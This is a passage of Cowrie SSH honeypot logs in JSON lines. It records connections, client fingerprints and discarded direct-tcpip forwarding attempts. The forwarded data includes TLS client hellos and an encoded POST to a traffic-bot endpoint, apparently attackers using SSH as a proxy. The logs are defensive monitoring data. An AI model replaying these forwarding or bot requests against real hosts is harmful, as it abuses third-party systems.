\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(8\\xe0\\x9b\\xd3\\xa6\\xd5\\xa5x\\xa8~\\xba]P0\\xac\\x88\\xfc\\xa8\\xf7\\xe0\\n\\xd5\\t\\x08l\\xa7G\\xe7s\\rH \\x93U\\xa9\\x03[h\\xe2\\x8a^\\xf4>\\x08w\\xd0\\xcf\\x7f\\xcb\\x9c\\xac%\\xfc4\\x7f\\x0c\\xadC\\x12\\xac;\\xc1\\xf9\\xde\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x95\\xb9\\xe5y}v\\xef\\xd0\\x93\\x95\\x07\\xf39\\x17o\\x96[\\xecz\\x9a\\xf7\\xb1\\x0f\\xe0xBj\\xb7C\\x88 \\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:00.657355Z","src_ip":"173.208.192.194","session":"7566084054a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:01.128624Z","src_ip":"173.208.192.194","session":"7566084054a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":57204,"dst_ip":"159.203.135.109","dst_port":22,"session":"b58641feb5f6","protocol":"ssh","message":"New connection: 194.59.206.2:57204 (159.203.135.109:22) [session: b58641feb5f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:01.874937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:01.879435Z","src_ip":"194.59.206.2","session":"b58641feb5f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:01.973318Z","src_ip":"194.59.206.2","session":"b58641feb5f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:02.073103Z","src_ip":"194.59.206.2","session":"b58641feb5f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:04.474669Z","session":"e5dbeec2d27f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:04.534276Z","src_ip":"23.175.50.47","session":"e5dbeec2d27f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/604.5.2 (KHTML, like Gecko) Version/9.1.2 Safari/604.5.2\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VSo3blNLRkBOUSVkKihFOA%3D%3DPSVVoT906WVnKTToQVgWTRT%2FL5kQqGqDTeLve%2BxqbH55ZgFfTddsTn6ExrjQbk5G9EemDrI%2B5%2B3dxsiPCZpxVjnSa9HhAJPmMYgKA2VCTOo%2BXXneLJmu%2BVufnv4nRnfQn4I76uy94Rh42nGiP%2FVVIw8AfgEg%2B0axbYV2IYKrtLZuFRhfx%2Fpw5mrDYOItlY%2BhJo7M%2F5AysL8qTzhEQckNa8%2FD7lboan3lbmZZag0obgjyNOiRsd3VvN9X70BBsbt0EDXa7uFKzxp8P%2BJxYZTTBfDfDUI%2Bjfp5E9Xn9z3kLp2eXfVuVVAEIkGkSCjbjvITCdS3%2FsWcl0VJEKZdwQ7IAzOopdPgif1oNPQvjLoR7GOpHCZmFBcAr1tcsmGOX9wtYPX5tx%2B%2Fcil4BHyuqL4r%2FSEl3oar%2BWHw5XC8%2BCGcV1QzUJUMuLn4ZpVoRNcnAGpSKYuH%2Bn%2FuAjpBOX8ChbeBR9FCKiiNnaLAkSaRhbhqya4gDhqPCgrPymCKVDqgV8jlHIGzjdaprRIZNHx9GdUx%2FWjQoeG1fYJDW9b%2F3gHrjSiCvZFP9yy5dFkUPD%2Fpg0ybbruUeJbT1rJax%2BQkTO15jXMau4YgFm1K4Y6bjgvCEgyLDqXYl24iugyVqLuyqzhEbjYe9%2BhiQBG3ZxYHEebKE6q7TBeLmMUmlZAnJqekgyOMbEBCu%2FZdkAbmyg6ohdNy%2FQN%2FPUhHYiCs3P6OtjXVS8KvPtJXiLdtBOzw1Tzfxjhi%2BKzTVxeY8xSdw2Ib9rAW7pzIdQ019%2F4TCrSUOd1N37QC5c%2F2WKiGyzej7mKWVMpOyxjN7cqk9T0AYIrkph8QqMcOLXzZrdy8Q0MYV0fO5uawzrBuHuSaA0%2BPVyBGiSXNm6tbxEcG27Zme7ifQh5kEstsin1Ls0jTQbZ%2FOmciiAxvFK1sEjHUIbcP3H76SOpoQYuh71nFzj0p%2BPQfeb%2Bj7iJ3y4rMxM0vXcg9AZVK6lu2X1quOI7XbxMffU1b7Iq2lCpHbT9kZAaoVm7X4FzAGl5nCGN%2FsvxHKC7ySU6lIoVoZO7mfWOxcMtLHz4bDkI%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/604.5.2 (KHTML, like Gecko) Version/9.1.2 Safari/604.5.2\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VSo3blNLRkBOUSVkKihFOA%3D%3DPSVVoT906WVnKTToQVgWTRT%2FL5kQqGqDTeLve%2BxqbH55ZgFfTddsTn6ExrjQbk5G9EemDrI%2B5%2B3dxsiPCZpxVjnSa9HhAJPmMYgKA2VCTOo%2BXXneLJmu%2BVufnv4nRnfQn4I76uy94Rh42nGiP%2FVVIw8AfgEg%2B0axbYV2IYKrtLZuFRhfx%2Fpw5mrDYOItlY%2BhJo7M%2F5AysL8qTzhEQckNa8%2FD7lboan3lbmZZag0obgjyNOiRsd3VvN9X70BBsbt0EDXa7uFKzxp8P%2BJxYZTTBfDfDUI%2Bjfp5E9Xn9z3kLp2eXfVuVVAEIkGkSCjbjvITCdS3%2FsWcl0VJEKZdwQ7IAzOopdPgif1oNPQvjLoR7GOpHCZmFBcAr1tcsmGOX9wtYPX5tx%2B%2Fcil4BHyuqL4r%2FSEl3oar%2BWHw5XC8%2BCGcV1QzUJUMuLn4ZpVoRNcnAGpSKYuH%2Bn%2FuAjpBOX8ChbeBR9FCKiiNnaLAkSaRhbhqya4gDhqPCgrPymCKVDqgV8jlHIGzjdaprRIZNHx9GdUx%2FWjQoeG1fYJDW9b%2F3gHrjSiCvZFP9yy5dFkUPD%2Fpg0ybbruUeJbT1rJax%2BQkTO15jXMau4YgFm1K4Y6bjgvCEgyLDqXYl24iugyVqLuyqzhEbjYe9%2BhiQBG3ZxYHEebKE6q7TBeLmMUmlZAnJqekgyOMbEBCu%2FZdkAbmyg6ohdNy%2FQN%2FPUhHYiCs3P6OtjXVS8KvPtJXiLdtBOzw1Tzfxjhi%2BKzTVxeY8xSdw2Ib9rAW7pzIdQ019%2F4TCrSUOd1N37QC5c%2F2WKiGyzej7mKWVMpOyxjN7cqk9T0AYIrkph8QqMcOLXzZrdy8Q0MYV0fO5uawzrBuHuSaA0%2BPVyBGiSXNm6tbxEcG27Zme7ifQh5kEstsin1Ls0jTQbZ%2FOmciiAxvFK1sEjHUIbcP3H76SOpoQYuh71nFzj0p%2BPQfeb%2Bj7iJ3y4rMxM0vXcg9AZVK6lu2X1quOI7XbxMffU1b7Iq2lCpHbT9kZAaoVm7X4FzAGl5nCGN%2FsvxHKC7ySU6lIoVoZO7mfWOxcMtLHz4bDkI%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:04.537434Z","src_ip":"23.175.50.47","session":"e5dbeec2d27f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:07.328059Z","session":"e5dbeec2d27f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:07.506057Z","src_ip":"23.175.50.47","session":"e5dbeec2d27f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x87T>!\\xa0\\xd1\\xb8\\x7f\\x1c@\\x15\\xaf\\xb4~\\xf3\\x19\\x95\\x08y\\r\\x9f\\x94\\xec*\\xa4\\x14b\\x86F9\\xae\\x95 \\x16\\x9d\\x8dtZm\\xc6 \\xb0\\x90x\\xd9\\x81d\\x7f\\x18vGpxv&Ck\"\\x90\\xdd\\xd1\\x1d\\xdd~\\xc3\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 &\\x86\\x8b\\'@\\xbf\\x011..U^\\xa3\\x8ec\\xb3=\\xc7j\\xcdK\\x0fmX\\xa89\\x05]\\xafi\\xca0\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x87T>!\\xa0\\xd1\\xb8\\x7f\\x1c@\\x15\\xaf\\xb4~\\xf3\\x19\\x95\\x08y\\r\\x9f\\x94\\xec*\\xa4\\x14b\\x86F9\\xae\\x95 \\x16\\x9d\\x8dtZm\\xc6 \\xb0\\x90x\\xd9\\x81d\\x7f\\x18vGpxv&Ck\"\\x90\\xdd\\xd1\\x1d\\xdd~\\xc3\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 &\\x86\\x8b\\'@\\xbf\\x011..U^\\xa3\\x8ec\\xb3=\\xc7j\\xcdK\\x0fmX\\xa89\\x05]\\xafi\\xca0\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:07.510031Z","src_ip":"23.175.50.47","session":"e5dbeec2d27f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":53329,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9fa8ed0b4a5","protocol":"ssh","message":"New connection: 113.164.152.20:53329 (10.17.0.5:22) [session: e9fa8ed0b4a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:07.811361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:07.816002Z","src_ip":"113.164.152.20","session":"e9fa8ed0b4a5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:07.979634Z","session":"e5dbeec2d27f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:07.985550Z","session":"e5dbeec2d27f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:08.040798Z","src_ip":"23.175.50.47","session":"e5dbeec2d27f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x035\\x99\\x12\\x0c\\xd2{\\x97\\xd5\\x85;\\xfaC\\xbf\\xe8R\\xe1;\\x0e\\xffT\\xb8\\xf5t>\\xfa\\xfa(&d@\\xfb\\x82 /\\xdf\\x80\\xdd\\x9d\\xf1\\tHO\\xd1;3D\\x7f)Pe\\x87n\\xbb\\x1a\\x7f\\xa1\\x83\\xbc#\\xd2|\\x00\\x97e\\x89\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd7\\xb5\\x9a! 